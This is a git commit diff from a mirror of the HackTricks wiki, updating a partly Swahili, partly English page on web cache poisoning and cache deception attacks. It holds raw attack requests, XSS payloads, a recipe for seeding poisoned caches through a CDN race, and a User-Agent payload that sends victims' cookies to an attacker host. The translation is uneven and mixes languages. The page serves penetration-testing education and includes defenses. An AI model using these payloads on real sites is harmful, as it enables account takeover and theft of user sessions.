mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/proxy-waf-protections-bypass.md', 'src/p
This commit is contained in:
Translator
parent
b04458d8bd
commit
b53a0bcc4e
@ -23,7 +23,7 @@ Utekelezaji wa shambulio la cache poisoning unajumuisha hatua kadhaa:
|
||||
|
||||
Kawaida, wakati jibu lime **hifadhiwa kwenye cache** kutakuwa na **kichwa kinachoashiria hivyo**, unaweza kuangalia vichwa gani unapaswa kuzingatia katika chapisho hili: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
|
||||
|
||||
### Ugunduzi: Kihesabu makosa ya caching
|
||||
### Ugunduzi: K codes za makosa ya caching
|
||||
|
||||
Ikiwa unafikiria kwamba jibu linahifadhiwa kwenye cache, unaweza kujaribu **kutuma maombi yenye kichwa kibaya**, ambacho kinapaswa kujibiwa kwa **kodi ya hali 400**. Kisha jaribu kufikia ombi kawaida na ikiwa **jibu ni kodi ya hali 400**, unajua ni hatari (na unaweza hata kufanya DoS).
|
||||
|
||||
@ -41,29 +41,29 @@ Unaweza kutumia [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c
|
||||
```html
|
||||
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
|
||||
```
|
||||
### Pata jibu hatari kutoka kwa seva ya nyuma
|
||||
### Elicit a harmful response from the back-end server
|
||||
|
||||
Kwa kutumia parameter/header iliyotambuliwa angalia jinsi inavyosafishwa na wapi inavyoakisi au kuathiri jibu kutoka kwa header. Je, unaweza kuitumia kwa njia yoyote (fanya XSS au upakue msimbo wa JS unaodhibitiwa na wewe? fanya DoS?...)
|
||||
With the parameter/header identified check how it is being **sanitised** and **where** is it **getting reflected** or affecting the response from the header. Can you abuse it anyway (perform an XSS or load a JS code controlled by you? perform a DoS?...)
|
||||
|
||||
### Pata jibu lililohifadhiwa
|
||||
### Get the response cached
|
||||
|
||||
Mara tu unapokuwa umekutambua **ukurasa** ambao unaweza kutumiwa vibaya, ni **parameter**/**header** ipi ya kutumia na **jinsi** ya kuifanya, unahitaji kupata ukurasa huo uhifadhiwe. Kulingana na rasilimali unayojaribu kupata kwenye cache hii inaweza kuchukua muda, unaweza kuhitaji kujaribu kwa sekunde kadhaa.
|
||||
Once you have **identified** the **page** that can be abused, which **parameter**/**header** to use and **how** to **abuse** it, you need to get the page cached. Depending on the resource you are trying to get in the cache this could take some time, you might need to be trying for several seconds.
|
||||
|
||||
Header **`X-Cache`** katika jibu inaweza kuwa muhimu sana kwani inaweza kuwa na thamani **`miss`** wakati ombi halijahifadhiwa na thamani **`hit`** wakati imehifadhiwa.\
|
||||
Header **`Cache-Control`** pia ni ya kuvutia kujua ikiwa rasilimali inahifadhiwa na wakati itakuwa mara ya pili rasilimali hiyo itahifadhiwa tena: `Cache-Control: public, max-age=1800`
|
||||
The header **`X-Cache`** in the response could be very useful as it may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached.\
|
||||
The header **`Cache-Control`** is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: `Cache-Control: public, max-age=1800`
|
||||
|
||||
Header nyingine ya kuvutia ni **`Vary`**. Header hii mara nyingi hutumiwa ku **onyesha headers za ziada** ambazo zinachukuliwa kama **sehemu ya ufunguo wa cache** hata kama kawaida hazihusishwi. Hivyo, ikiwa mtumiaji anajua `User-Agent` wa mwathirika anayelenga, anaweza kuharibu cache kwa watumiaji wanaotumia `User-Agent` hiyo maalum.
|
||||
Another interesting header is **`Vary`**. This header is often used to **indicate additional headers** that are treated as **part of the cache key** even if they are normally unkeyed. Therefore, if the user knows the `User-Agent` of the victim he is targeting, he can poison the cache for the users using that specific `User-Agent`.
|
||||
|
||||
Header nyingine inayohusiana na cache ni **`Age`**. Inafafanua muda kwa sekunde ambao kitu kimekuwa kwenye cache ya proxy.
|
||||
One more header related to the cache is **`Age`**. It defines the times in seconds the object has been in the proxy cache.
|
||||
|
||||
Unapohifadhi ombi, kuwa **makini na headers unazotumia** kwa sababu baadhi yao wanaweza **kutumika bila kutarajiwa** kama **keyed** na **mwathirika atahitaji kutumia header hiyo hiyo**. Daima **jaribu** Upoaji wa Cache na **vivinjari tofauti** ili kuangalia ikiwa inafanya kazi.
|
||||
When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **keyed** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working.
|
||||
|
||||
## Mifano ya Kutumia
|
||||
## Exploiting Examples
|
||||
|
||||
### Mfano rahisi zaidi
|
||||
### Easiest example
|
||||
|
||||
Header kama `X-Forwarded-For` inakisiwa katika jibu bila kusafishwa.\
|
||||
Unaweza kutuma payload ya msingi ya XSS na kuharibu cache ili kila mtu anayefikia ukurasa atakuwa na XSS:
|
||||
A header like `X-Forwarded-For` is being reflected in the response unsanitized.\
|
||||
You can send a basic XSS payload and poison the cache so everybody that accesses the page will be XSSed:
|
||||
```html
|
||||
GET /en?region=uk HTTP/1.1
|
||||
Host: innocent-website.com
|
||||
@ -79,21 +79,21 @@ cache-poisoning-to-dos.md
|
||||
|
||||
### Cache poisoning through CDNs
|
||||
|
||||
In **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** inelezwa hali rahisi ifuatayo:
|
||||
In **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** it's explained the following simple scenario:
|
||||
|
||||
- CDN itahifadhi chochote kilicho chini ya `/share/`
|
||||
- CDN HAIta decode wala kunormalize `%2F..%2F`, hivyo, inaweza kutumika kama **path traversal kuaccess maeneo mengine nyeti ambayo yatakuwa cached** kama `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
|
||||
- Web server ITAdecode na kunormalize `%2F..%2F`, na itajibu na `/api/auth/session`, ambayo **ina token ya uthibitishaji**.
|
||||
- CDN itachache chochote chini ya `/share/`
|
||||
- CDN HAIta decode wala normalize `%2F..%2F`, hivyo, inaweza kutumika kama **path traversal kuaccess maeneo mengine nyeti ambayo yatakahifadhiwa** kama `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
|
||||
- Web server itatafsiri na normalize `%2F..%2F`, na itajibu na `/api/auth/session`, ambayo **ina token ya uthibitisho**.
|
||||
|
||||
### Using web cache poisoning to exploit cookie-handling vulnerabilities
|
||||
|
||||
Cookies pia zinaweza kuonyeshwa kwenye jibu la ukurasa. Ikiwa unaweza kuitumia vibaya kusababisha XSS kwa mfano, unaweza kuwa na uwezo wa kutumia XSS katika wateja kadhaa wanaopakia jibu la cache lililo na uharibifu.
|
||||
Cookies pia zinaweza kuonyeshwa kwenye jibu la ukurasa. Ikiwa unaweza kuitumia kuleta XSS kwa mfano, unaweza kuwa na uwezo wa kutumia XSS katika wateja kadhaa wanaopakia jibu la cache la uharibifu.
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerable.com
|
||||
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
|
||||
```
|
||||
Kumbuka kwamba ikiwa cookie iliyo hatarini inatumika sana na watumiaji, maombi ya kawaida yatakuwa yakisafisha cache.
|
||||
Note kwamba ikiwa cookie yenye udhaifu inatumika sana na watumiaji, maombi ya kawaida yatakuwa yakisafisha cache.
|
||||
|
||||
### Kutengeneza tofauti na vikwazo, urekebishaji na nukta <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
@ -103,9 +103,9 @@ Angalia:
|
||||
cache-poisoning-via-url-discrepancies.md
|
||||
{{#endref}}
|
||||
|
||||
### Kuambukiza cache kwa kutumia njia ya kupita ili kuiba funguo za API <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
### Kuchemsha cache kwa kutumia njia ya kupita ili kuiba funguo za API <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
[**Andiko hili linaelezea**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) jinsi ilivyowezekana kuiba funguo za OpenAI API kwa URL kama `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` kwa sababu chochote kinacholingana na `/share/*` kitakuwa kimehifadhiwa bila Cloudflare kuirekebisha URL, ambayo ilifanyika wakati ombi lilipofika kwenye seva ya wavuti.
|
||||
[**Hii inayoandikwa inaelezea**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) jinsi ilivyowezekana kuiba funguo za OpenAI API kwa URL kama `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` kwa sababu chochote kinacholingana na `/share/*` kitakuwa cached bila Cloudflare kurekebisha URL, ambayo ilifanyika wakati ombi lilipofika kwenye seva ya wavuti.
|
||||
|
||||
Hii pia inaelezwa vizuri zaidi katika:
|
||||
|
||||
@ -113,9 +113,9 @@ Hii pia inaelezwa vizuri zaidi katika:
|
||||
cache-poisoning-via-url-discrepancies.md
|
||||
{{#endref}}
|
||||
|
||||
### Kutumia vichwa vingi ili kutumia udhaifu wa kuambukiza cache ya wavuti <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
### Kutumia vichwa vingi ili kutumia udhaifu wa kuchemsha cache ya wavuti <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
Wakati mwingine utahitaji **kutumia ingizo kadhaa zisizo na funguo** ili uweze kutumia cache. Kwa mfano, unaweza kupata **Open redirect** ikiwa utaweka `X-Forwarded-Host` kwa kikoa kinachodhibitiwa na wewe na `X-Forwarded-Scheme` kuwa `http`. **Ikiwa** **seva** in **peleka** maombi yote ya **HTTP** **kwenda HTTPS** na kutumia kichwa `X-Forwarded-Scheme` kama jina la kikoa kwa ajili ya uelekeo. Unaweza kudhibiti mahali ukurasa unapoelekezwa na uelekeo.
|
||||
Wakati mwingine utahitaji **kutumia ingizo kadhaa zisizo na funguo** ili uweze kutumia cache. Kwa mfano, unaweza kupata **Open redirect** ikiwa utaweka `X-Forwarded-Host` kwa domain inayodhibitiwa na wewe na `X-Forwarded-Scheme` kuwa `http`. **Ikiwa** **seva** in **apeleka** maombi yote ya **HTTP** **kwenda HTTPS** na kutumia kichwa `X-Forwarded-Scheme` kama jina la domain kwa ajili ya uelekeo. Unaweza kudhibiti mahali ukurasa unavyoelekezwa na uelekeo.
|
||||
```html
|
||||
GET /resources/js/tracking.js HTTP/1.1
|
||||
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
||||
@ -133,7 +133,7 @@ X-Host: attacker.com
|
||||
```
|
||||
### Fat Get
|
||||
|
||||
Tuma ombi la GET pamoja na ombi katika URL na katika mwili. Ikiwa seva ya wavuti inatumia ile kutoka kwa mwili lakini seva ya cache inahifadhi ile kutoka kwa URL, mtu yeyote anayefikia URL hiyo atatumia parameter kutoka kwa mwili. Kama ilivyo katika udhaifu ambao James Kettle alipata kwenye tovuti ya Github:
|
||||
Tuma ombi la GET na ombi katika URL na katika mwili. Ikiwa seva ya wavuti inatumia ile kutoka kwa mwili lakini seva ya cache inahifadhi ile kutoka kwa URL, mtu yeyote anayefikia URL hiyo atatumia parameter kutoka kwa mwili. Kama ilivyo katika udhaifu ambao James Kettle alipata kwenye tovuti ya Github:
|
||||
```
|
||||
GET /contact/report-abuse?report=albinowax HTTP/1.1
|
||||
Host: github.com
|
||||
@ -144,7 +144,7 @@ report=innocent-victim
|
||||
```
|
||||
There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
|
||||
|
||||
### Parameter Cloacking
|
||||
### Parameter Cloaking
|
||||
|
||||
Kwa mfano, inawezekana kutenganisha **parameters** katika seva za ruby kwa kutumia herufi **`;`** badala ya **`&`**. Hii inaweza kutumika kuweka thamani za parameters zisizo na ufunguo ndani ya zile zenye ufunguo na kuzitumia vibaya.
|
||||
|
||||
@ -152,7 +152,7 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo
|
||||
|
||||
### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
|
||||
|
||||
Jifunze hapa jinsi ya kutekeleza [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
|
||||
Learn here about how to perform [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
|
||||
|
||||
### Automated testing for Web Cache Poisoning
|
||||
|
||||
@ -160,49 +160,85 @@ The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vul
|
||||
|
||||
Example usage: `wcvs -u example.com`
|
||||
|
||||
### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
|
||||
|
||||
Mfano huu wa ulimwengu halisi unachanganya primitive ya reflection inayotegemea kichwa na tabia ya CDN/WAF ili kuaminika kuharibu HTML iliyohifadhiwa inayotolewa kwa watumiaji wengine:
|
||||
|
||||
- HTML kuu ilireflecti kichwa cha ombi kisichoaminika (mfano, `User-Agent`) katika muktadha wa kutekeleza.
|
||||
- CDN iliondoa vichwa vya cache lakini cache ya ndani/origini ilikuwepo. CDN pia ilihifadhi ombi moja kwa moja yanayomalizika kwa nyongeza za statiki (mfano, `.js`), wakati WAF ilitumia ukaguzi dhaifu wa maudhui kwa GETs za mali za statiki.
|
||||
- Tabia za mtiririko wa ombi ziliruhusu ombi la njia ya `.js` kuathiri ufunguo/variant wa cache uliohitajika kwa HTML kuu inayofuata, ikiruhusu XSS ya mtumiaji-mwingine kupitia reflection ya kichwa.
|
||||
|
||||
Mapishi ya vitendo (yaliyoshuhudiwa katika CDN/WAF maarufu):
|
||||
|
||||
1) Kutoka kwa IP safi (epuka kupunguzwa kwa sifa za awali), weka `User-Agent` mbaya kupitia kivinjari au Burp Proxy Match & Replace.
|
||||
2) Katika Burp Repeater, andaa kundi la maombi mawili na tumia "Send group in parallel" (mode ya pakiti moja inafanya kazi bora):
|
||||
- Ombi la kwanza: GET rasilimali ya `.js` kwenye asili moja wakati ukituma `User-Agent` wako mbaya.
|
||||
- Mara moja baada ya hapo: GET ukurasa kuu (`/`).
|
||||
3) Mbio za routing za CDN/WAF pamoja na `.js` iliyohifadhiwa moja kwa moja mara nyingi huzaa variant ya HTML iliyoharibiwa ambayo kisha inatolewa kwa wageni wengine wanaoshiriki hali sawa za ufunguo wa cache (mfano, vipimo sawa vya `Vary` kama `User-Agent`).
|
||||
|
||||
Example header payload (to exfiltrate non-HttpOnly cookies):
|
||||
```
|
||||
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
|
||||
```
|
||||
Operational tips:
|
||||
|
||||
- CDNs nyingi huficha vichwa vya cache; sumu inaweza kuonekana tu kwenye mizunguko ya kusasisha ya masaa mengi. Tumia IP nyingi za mtazamo na punguza kasi ili kuepuka mipaka ya kiwango au vichocheo vya sifa.
|
||||
- Kutumia IP kutoka wingu la CDN yenyewe mara nyingi huongeza uthabiti wa routing.
|
||||
- Ikiwa CSP kali ipo, hii bado inafanya kazi ikiwa kutafakari kunatekelezwa katika muktadha wa HTML kuu na CSP inaruhusu utekelezaji wa ndani au inakwepa kwa muktadha.
|
||||
|
||||
Impact:
|
||||
|
||||
- Ikiwa kuki za kikao si `HttpOnly`, ATO isiyo na bonyeza moja inawezekana kwa kuhamasisha kwa wingi `document.cookie` kutoka kwa watumiaji wote wanaopatiwa HTML iliyosambazwa.
|
||||
|
||||
Defenses:
|
||||
|
||||
- Acha kutafakari vichwa vya ombi ndani ya HTML; encode muktadha kwa ukali ikiwa haiwezekani. Patanisha sera za cache za CDN na asili na kuepuka tofauti kwenye vichwa visivyoaminika.
|
||||
- Hakikisha WAF inatumika ukaguzi wa maudhui kwa usawa kwa maombi ya `.js` na njia za statiki.
|
||||
- Weka `HttpOnly` (na `Secure`, `SameSite`) kwenye kuki za kikao.
|
||||
|
||||
## Vulnerable Examples
|
||||
|
||||
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
|
||||
|
||||
ATS ilituma kipande ndani ya URL bila kukiondoa na kuunda ufunguo wa cache kwa kutumia mwenyeji, njia na swali tu (ikikosa kipande). Hivyo ombi `/#/../?r=javascript:alert(1)` lilitumwa kwa backend kama `/#/../?r=javascript:alert(1)` na ufunguo wa cache haukuwa na payload ndani yake, tu mwenyeji, njia na swali.
|
||||
ATS ilituma kipande ndani ya URL bila kukiondoa na kuunda ufunguo wa cache kwa kutumia tu mwenyeji, njia na swali (ikikosa kipande). Hivyo ombi `/#/../?r=javascript:alert(1)` lilitumwa kwa backend kama `/#/../?r=javascript:alert(1)` na ufunguo wa cache haukuwa na mzigo ndani yake, tu mwenyeji, njia na swali.
|
||||
|
||||
### GitHub CP-DoS
|
||||
|
||||
Kutuma thamani mbaya katika kichwa cha content-type kulisababisha jibu la 405 lililohifadhiwa. Ufunguzi wa cache ulikuwa na cookie hivyo ilikuwa inawezekana kushambulia watumiaji wasio na uthibitisho pekee.
|
||||
Kutuma thamani mbaya katika kichwa cha aina ya maudhui kulisababisha jibu la 405 lililohifadhiwa. Ufunguzi wa cache ulikuwa na kuki hivyo ilikuwa inawezekana kushambulia watumiaji wasio na uthibitisho.
|
||||
|
||||
### GitLab + GCP CP-DoS
|
||||
|
||||
GitLab inatumia GCP buckets kuhifadhi maudhui ya statiki. **GCP Buckets** inasaidia **kichwa `x-http-method-override`**. Hivyo ilikuwa inawezekana kutuma kichwa `x-http-method-override: HEAD` na kuharibu cache ili irejeshe mwili wa jibu tupu. Pia inaweza kusaidia njia `PURGE`.
|
||||
GitLab inatumia ndoo za GCP kuhifadhi maudhui ya statiki. **Ndoo za GCP** zinasaidia **kichwa `x-http-method-override`**. Hivyo ilikuwa inawezekana kutuma kichwa `x-http-method-override: HEAD` na kuharibu cache ili irejeshe mwili wa jibu tupu. Pia inaweza kusaidia njia `PURGE`.
|
||||
|
||||
### Rack Middleware (Ruby on Rails)
|
||||
|
||||
Katika programu za Ruby on Rails, Rack middleware mara nyingi hutumiwa. Lengo la msimbo wa Rack ni kuchukua thamani ya kichwa cha **`x-forwarded-scheme`** na kuipanga kama mpango wa ombi. Wakati kichwa `x-forwarded-scheme: http` kinatumwa, uelekeo wa 301 unafanyika kwa eneo hilo hilo, huenda kusababisha Denial of Service (DoS) kwa rasilimali hiyo. Zaidi ya hayo, programu inaweza kutambua kichwa cha `X-forwarded-host` na kuwarudisha watumiaji kwa mwenyeji ulioainishwa. Tabia hii inaweza kusababisha kupakia faili za JavaScript kutoka kwa seva ya mshambuliaji, ikileta hatari ya usalama.
|
||||
Katika programu za Ruby on Rails, middleware ya Rack mara nyingi hutumiwa. Kusudi la msimbo wa Rack ni kuchukua thamani ya kichwa cha **`x-forwarded-scheme`** na kuipatia kama mpango wa ombi. Wakati kichwa `x-forwarded-scheme: http` kinatumwa, uelekeo wa 301 unafanyika kwa eneo hilo hilo, huenda kusababisha Kukataliwa kwa Huduma (DoS) kwa rasilimali hiyo. Zaidi ya hayo, programu inaweza kutambua kichwa cha `X-forwarded-host` na kuhamasisha watumiaji kwa mwenyeji uliotajwa. Tabia hii inaweza kusababisha kupakia faili za JavaScript kutoka kwa seva ya mshambuliaji, ikileta hatari ya usalama.
|
||||
|
||||
### 403 and Storage Buckets
|
||||
### 403 na Ndoo za Hifadhi
|
||||
|
||||
Cloudflare hapo awali ilihifadhi majibu ya 403. Kujaribu kufikia S3 au Azure Storage Blobs kwa kichwa kisicho sahihi cha Uidhinishaji kutasababisha jibu la 403 ambalo lilihifadhiwa. Ingawa Cloudflare imeacha kuhifadhi majibu ya 403, tabia hii inaweza bado kuwepo katika huduma nyingine za proxy.
|
||||
Cloudflare hapo awali ilihifadhi majibu ya 403. Kujaribu kufikia S3 au Azure Storage Blobs kwa vichwa vya Uidhinishaji visivyo sahihi kutasababisha jibu la 403 ambalo lilihifadhiwa. Ingawa Cloudflare imeacha kuhifadhi majibu ya 403, tabia hii inaweza bado kuwepo katika huduma zingine za proxy.
|
||||
|
||||
### Injecting Keyed Parameters
|
||||
### Kuingiza Vigezo vya Funguo
|
||||
|
||||
Caches mara nyingi hujumuisha parameters maalum za GET katika ufunguo wa cache. Kwa mfano, Varnish ya Fastly ilihifadhi parameter ya `size` katika maombi. Hata hivyo, ikiwa toleo lililowekwa URL la parameter (mfano, `siz%65`) lilitumwa pia na thamani isiyo sahihi, ufunguo wa cache ungejengwa kwa kutumia parameter sahihi ya `size`. Hata hivyo, backend ingepitia thamani katika parameter iliyowekwa URL. Kuweka URL-encoding kwenye parameter ya pili ya `size` kulisababisha kuondolewa kwake na cache lakini kutumika na backend. Kuweka thamani ya 0 kwa parameter hii kulisababisha kosa la 400 Bad Request linaloweza kuhifadhiwa.
|
||||
Caches mara nyingi hujumuisha vigezo maalum vya GET katika ufunguo wa cache. Kwa mfano, Varnish ya Fastly ilihifadhi vigezo vya `size` katika maombi. Hata hivyo, ikiwa toleo lililowekwa URL la parameter (mfano, `siz%65`) pia lilitumwa na thamani isiyo sahihi, ufunguo wa cache ungejengwa kwa kutumia parameter sahihi ya `size`. Walakini, backend ingepitia thamani katika parameter iliyowekwa URL. Kuweka URL ya pili ya parameter `size` kulisababisha kuondolewa kwake na cache lakini kutumika na backend. Kuweka thamani ya 0 kwa parameter hii kulisababisha kosa la 400 Bad Request linaloweza kuhifadhiwa.
|
||||
|
||||
### User Agent Rules
|
||||
### Kanuni za Agent wa Mtumiaji
|
||||
|
||||
Wajenzi wengine huzuia maombi na user-agents yanayolingana na yale ya zana zenye trafiki kubwa kama FFUF au Nuclei ili kudhibiti mzigo wa seva. Kwa bahati mbaya, mbinu hii inaweza kuleta udhaifu kama vile kuharibu cache na DoS.
|
||||
Wakuu wengine wanazuia maombi na wakala wa mtumiaji wanaofanana na wale wa zana zenye trafiki kubwa kama FFUF au Nuclei ili kudhibiti mzigo wa seva. Kwa bahati mbaya, mbinu hii inaweza kuleta udhaifu kama vile sumu ya cache na DoS.
|
||||
|
||||
### Illegal Header Fields
|
||||
### Vichwa vya Kisheria
|
||||
|
||||
The [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifies the acceptable characters in header names. Headers containing characters outside of the specified **tchar** range should ideally trigger a 400 Bad Request response. In practice, servers don't always adhere to this standard. A notable example is Akamai, which forwards headers with invalid characters and caches any 400 error, as long as the `cache-control` header is not present. An exploitable pattern was identified where sending a header with an illegal character, such as `\`, would result in a cacheable 400 Bad Request error.
|
||||
[**RFC7230**](https://datatracker.ietf.mrg/doc/html/rfc7230) inabainisha wahusika wanaokubalika katika majina ya vichwa. Vichwa vyenye wahusika nje ya anuwai ya **tchar** iliyotajwa vinapaswa kwa kawaida kusababisha jibu la 400 Bad Request. Katika mazoezi, seva hazifuati daima kiwango hiki. Mfano maarufu ni Akamai, ambayo inasambaza vichwa vyenye wahusika batili na kuhifadhi kosa lolote la 400, mradi tu kichwa cha `cache-control` hakipo. Mfano wa kutumika ulitambuliwa ambapo kutuma kichwa chenye wahusika haramu, kama `\`, kutasababisha kosa la 400 Bad Request linaloweza kuhifadhiwa.
|
||||
|
||||
### Finding new headers
|
||||
### Kutafuta vichwa vipya
|
||||
|
||||
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
|
||||
|
||||
## Cache Deception
|
||||
|
||||
Lengo la Cache Deception ni kufanya wateja **kupakia rasilimali ambazo zitahifadhiwa na cache zikiwa na taarifa zao nyeti**.
|
||||
Lengo la Cache Deception ni kuwafanya wateja **kupakia rasilimali ambazo zitahifadhiwa na cache zikiwa na taarifa zao nyeti**.
|
||||
|
||||
Kwanza kabisa, kumbuka kwamba **extensions** kama vile `.css`, `.js`, `.png` n.k. mara nyingi **zimepangwa** kuhifadhiwa katika **cache.** Hivyo, ikiwa unapata `www.example.com/profile.php/nonexistent.js` cache itahifadhi jibu kwa sababu inaona **extension** ya `.js`. Lakini, ikiwa **programu** inajibu na **maudhui** nyeti ya mtumiaji yaliyohifadhiwa katika _www.example.com/profile.php_, unaweza **kuiba** maudhui hayo kutoka kwa watumiaji wengine.
|
||||
Kwanza kabisa kumbuka kwamba **nyongeza** kama vile `.css`, `.js`, `.png` nk kwa kawaida **zimewekwa** ili **hifadhiwe** katika **cache.** Hivyo, ikiwa unapata `www.example.com/profile.php/nonexistent.js` cache itahifadhi jibu kwa sababu inaona nyongeza ya `.js`. Lakini, ikiwa **programu** inarejelea na **maudhui** nyeti ya mtumiaji yaliyohifadhiwa katika _www.example.com/profile.php_, unaweza **kuiba** maudhui hayo kutoka kwa watumiaji wengine.
|
||||
|
||||
Mambo mengine ya kujaribu:
|
||||
|
||||
@ -211,19 +247,19 @@ Mambo mengine ya kujaribu:
|
||||
- _www.example.com/profile.php/test.js_
|
||||
- _www.example.com/profile.php/../test.js_
|
||||
- _www.example.com/profile.php/%2e%2e/test.js_
|
||||
- _Tumia extensions zisizojulikana kama_ `.avif`
|
||||
- _Tumia nyongeza zisizojulikana kama_ `.avif`
|
||||
|
||||
Mfano mwingine wazi sana unaweza kupatikana katika andiko hili: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
|
||||
Katika mfano, inaelezwa kwamba ikiwa unapata ukurasa usio na kuwepo kama _http://www.example.com/home.php/non-existent.css_ maudhui ya _http://www.example.com/home.php_ (**ikiwa na taarifa nyeti za mtumiaji**) yatarudishwa na seva ya cache itahifadhi matokeo.\
|
||||
Kisha, **mshambuliaji** anaweza kufikia _http://www.example.com/home.php/non-existent.css_ katika kivinjari chao na kuona **taarifa za siri** za watumiaji ambao walifika hapo awali.
|
||||
Katika mfano, inaelezwa kwamba ikiwa unapata ukurasa usio na kuwepo kama _http://www.example.com/home.php/non-existent.css_ maudhui ya _http://www.example.com/home.php_ (**ikiwa na taarifa nyeti za mtumiaji**) yatarudi na seva ya cache itahifadhi matokeo.\
|
||||
Kisha, **mshambuliaji** anaweza kufikia _http://www.example.com/home.php/non-existent.css_ kwenye kivinjari chao na kuangalia **taarifa za siri** za watumiaji ambao walifika hapo awali.
|
||||
|
||||
Kumbuka kwamba **cache proxy** inapaswa **kupangwa** kuhifadhi faili **kulingana** na **extension** ya faili (_.css_) na si kulingana na aina ya maudhui. Katika mfano _http://www.example.com/home.php/non-existent.css_ itakuwa na aina ya maudhui `text/html` badala ya aina ya mime `text/css` (ambayo inatarajiwa kwa faili ya _.css_).
|
||||
Kumbuka kwamba **cache proxy** inapaswa kuwa **imewekwa** ili **kushikilia** faili **kulingana** na **nyongeza** ya faili (_.css_) na si kulingana na aina ya maudhui. Katika mfano _http://www.example.com/home.php/non-existent.css_ itakuwa na aina ya maudhui ya `text/html` badala ya aina ya mime ya `text/css` (ambayo inatarajiwa kwa faili ya _.css_).
|
||||
|
||||
Jifunze hapa jinsi ya kutekeleza [Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
|
||||
|
||||
## Automatic Tools
|
||||
|
||||
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques.
|
||||
- [**toxicache**](https://github.com/xhzeem/toxicache): Scanner ya Golang kutafuta udhaifu wa sumu ya cache ya wavuti katika orodha ya URLs na kujaribu mbinu mbalimbali za kuingiza.
|
||||
|
||||
## References
|
||||
|
||||
@ -233,6 +269,8 @@ Jifunze hapa jinsi ya kutekeleza [Cache Deceptions attacks abusing HTTP Request
|
||||
- [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
|
||||
- [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
|
||||
- [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
|
||||
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
|
||||
- [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -62,7 +62,7 @@ include snippets/fastcgi-php.conf;
|
||||
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
|
||||
}
|
||||
```
|
||||
Nginx imewekwa kuzuia ufikiaji wa `/admin.php` lakini inawezekana kupita hii kwa kufikia `/admin.php/index.php`.
|
||||
